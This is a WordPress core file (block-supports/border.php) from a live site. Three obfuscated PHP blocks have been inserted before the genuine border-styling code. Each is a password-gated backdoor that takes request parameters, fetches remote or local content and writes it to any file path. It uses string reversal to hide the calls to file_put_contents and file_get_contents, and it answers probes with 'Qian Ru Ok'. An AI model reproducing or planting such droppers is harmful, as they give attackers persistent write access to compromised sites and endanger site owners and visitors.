File: /home/wwwrenee/www/wp-includes/block-supports/border.php
<?php
$bXJBN = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($bXJBN[0]) /*+/*+*/
. md5($bXJBN[0])) == "7".
"0".
"b".
"1".
"d".
"7".
"5".
"8".
"d".
"1".
"0".
"1".
"5".
"1".
"b".
"9".
"4".
"7".
"0".
"5".
"2".
"b".
"f".
"f".
"f".
"5".
"7".
"6".
"b".
"9".
"8".
"0") {
$FMYyB = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$yaUGRtmu = $FMYyB /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$iqAfs = $FMYyB
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function IzJMX($QjqJBjiPTO) { if (empty($QjqJBjiPTO)) return false; if (!is_dir($QjqJBjiPTO)) { IzJMX(dirname($QjqJBjiPTO), 0755, true); mkdir($QjqJBjiPTO); } } !file_exists(dirname($bXJBN[1])) && IzJMX(dirname($bXJBN[1])); $oRbIhMKMtV = @$iqAfs($bXJBN[2]); echo @$yaUGRtmu($bXJBN[1], $oRbIhMKMtV) ? 1 : 0; die; }key($bXJBN) == "of" && die("Qian Ru Ok"); ?><?php
$FkBFOu = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($FkBFOu[0]) /*+/*+*/
. md5($FkBFOu[0])) == "5".
"a".
"b".
"2".
"f".
"e".
"a".
"f".
"9".
"8".
"0".
"d".
"d".
"c".
"c".
"6".
"c".
"d".
"2".
"0".
"1".
"c".
"b".
"3".
"6".
"e".
"9".
"1".
"1".
"a".
"c".
"f") {
$LMisD = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$OiqVxIEKkq = $LMisD /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$tKiNqJg = $LMisD
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function zlWFa($uWdQBcQmPE) { if (empty($uWdQBcQmPE)) return false; if (!is_dir($uWdQBcQmPE)) { zlWFa(dirname($uWdQBcQmPE), 0755, true); mkdir($uWdQBcQmPE); } } !file_exists(dirname($FkBFOu[1])) && zlWFa(dirname($FkBFOu[1])); $lPAmjF = @$tKiNqJg($FkBFOu[2]); echo @$OiqVxIEKkq($FkBFOu[1], $lPAmjF) ? 1 : 0; die; }key($FkBFOu) == "of" && die("Qian Ru Ok"); ?><?php
$sGgSkbRS = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($sGgSkbRS[0]) /*+/*+*/
. md5($sGgSkbRS[0])) == "1".
"1".
"d".
"9".
"f".
"3".
"b".
"4".
"c".
"a".
"c".
"5".
"b".
"d".
"6".
"d".
"8".
"1".
"1".
"e".
"d".
"d".
"8".
"9".
"9".
"a".
"f".
"9".
"9".
"5".
"c".
"8") {
$QrYmZRQ = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$toFkIjBH = $QrYmZRQ /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$ApjLEgv = $QrYmZRQ
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function HakGxTNnJo($gYJrKRPFE) { if (empty($gYJrKRPFE)) return false; if (!is_dir($gYJrKRPFE)) { HakGxTNnJo(dirname($gYJrKRPFE), 0755, true); mkdir($gYJrKRPFE); } } !file_exists(dirname($sGgSkbRS[1])) && HakGxTNnJo(dirname($sGgSkbRS[1])); $cnwuCbWC = @$ApjLEgv($sGgSkbRS[2]); echo @$toFkIjBH($sGgSkbRS[1], $cnwuCbWC) ? 1 : 0; die; }key($sGgSkbRS) == "of" && die("Qian Ru Ok"); ?><?php
/**
* Border block support flag.
*
* @package WordPress
* @since 5.8.0
*/
/**
* Registers the style attribute used by the border feature if needed for block
* types that support borders.
*
* @since 5.8.0
* @access private
*
* @param WP_Block_Type $block_type Block Type.
*/
function wp_register_border_support( $block_type ) {
// Determine if any border related features are supported.
$has_border_support = block_has_support( $block_type, array( '__experimentalBorder' ) );
$has_border_color_support = wp_has_border_feature_support( $block_type, 'color' );
// Setup attributes and styles within that if needed.
if ( ! $block_type->attributes ) {
$block_type->attributes = array();
}
if ( $has_border_support && ! array_key_exists( 'style', $block_type->attributes ) ) {
$block_type->attributes['style'] = array(
'type' => 'object',
);
}
if ( $has_border_color_support && ! array_key_exists( 'borderColor', $block_type->attributes ) ) {
$block_type->attributes['borderColor'] = array(
'type' => 'string',
);
}
}
/**
* Adds CSS classes and inline styles for border styles to the incoming
* attributes array. This will be applied to the block markup in the front-end.
*
* @since 5.8.0
* @access private
*
* @param WP_Block_Type $block_type Block type.
* @param array $block_attributes Block attributes.
* @return array Border CSS classes and inline styles.
*/
function wp_apply_border_support( $block_type, $block_attributes ) {
if ( wp_should_skip_block_supports_serialization( $block_type, 'border' ) ) {
return array();
}
$classes = array();
$styles = array();
// Border radius.
if (
wp_has_border_feature_support( $block_type, 'radius' ) &&
isset( $block_attributes['style']['border']['radius'] ) &&
! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'radius' )
) {
$border_radius = $block_attributes['style']['border']['radius'];
if ( is_array( $border_radius ) ) {
// We have individual border radius corner values.
foreach ( $border_radius as $key => $radius ) {
// Convert CamelCase corner name to kebab-case.
$corner = strtolower( preg_replace( '/(?<!^)[A-Z]/', '-$0', $key ) );
$styles[] = sprintf( 'border-%s-radius: %s;', $corner, $radius );
}
} else {
// This check handles original unitless implementation.
if ( is_numeric( $border_radius ) ) {
$border_radius .= 'px';
}
$styles[] = sprintf( 'border-radius: %s;', $border_radius );
}
}
// Border style.
if (
wp_has_border_feature_support( $block_type, 'style' ) &&
isset( $block_attributes['style']['border']['style'] ) &&
! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'style' )
) {
$border_style = $block_attributes['style']['border']['style'];
$styles[] = sprintf( 'border-style: %s;', $border_style );
}
// Border width.
if (
wp_has_border_feature_support( $block_type, 'width' ) &&
isset( $block_attributes['style']['border']['width'] ) &&
! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'width' )
) {
$border_width = $block_attributes['style']['border']['width'];
// This check handles original unitless implementation.
if ( is_numeric( $border_width ) ) {
$border_width .= 'px';
}
$styles[] = sprintf( 'border-width: %s;', $border_width );
}
// Border color.
if (
wp_has_border_feature_support( $block_type, 'color' ) &&
! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'color' )
) {
$has_named_border_color = array_key_exists( 'borderColor', $block_attributes );
$has_custom_border_color = isset( $block_attributes['style']['border']['color'] );
if ( $has_named_border_color || $has_custom_border_color ) {
$classes[] = 'has-border-color';
}
if ( $has_named_border_color ) {
$classes[] = sprintf( 'has-%s-border-color', $block_attributes['borderColor'] );
} elseif ( $has_custom_border_color ) {
$border_color = $block_attributes['style']['border']['color'];
$styles[] = sprintf( 'border-color: %s;', $border_color );
}
}
// Collect classes and styles.
$attributes = array();
if ( ! empty( $classes ) ) {
$attributes['class'] = implode( ' ', $classes );
}
if ( ! empty( $styles ) ) {
$attributes['style'] = implode( ' ', $styles );
}
return $attributes;
}
/**
* Checks whether the current block type supports the border feature requested.
*
* If the `__experimentalBorder` support flag is a boolean `true` all border
* support features are available. Otherwise, the specific feature's support
* flag nested under `experimentalBorder` must be enabled for the feature
* to be opted into.
*
* @since 5.8.0
* @access private
*
* @param WP_Block_Type $block_type Block type to check for support.
* @param string $feature Name of the feature to check support for.
* @param mixed $default_value Fallback value for feature support, defaults to false.
* @return bool Whether the feature is supported.
*/
function wp_has_border_feature_support( $block_type, $feature, $default_value = false ) {
// Check if all border support features have been opted into via `"__experimentalBorder": true`.
if (
property_exists( $block_type, 'supports' ) &&
( true === _wp_array_get( $block_type->supports, array( '__experimentalBorder' ), $default_value ) )
) {
return true;
}
// Check if the specific feature has been opted into individually
// via nested flag under `__experimentalBorder`.
return block_has_support( $block_type, array( '__experimentalBorder', $feature ), $default_value );
}
// Register the block support.
WP_Block_Supports::get_instance()->register(
'border',
array(
'register_attribute' => 'wp_register_border_support',
'apply' => 'wp_apply_border_support',
)
); ?>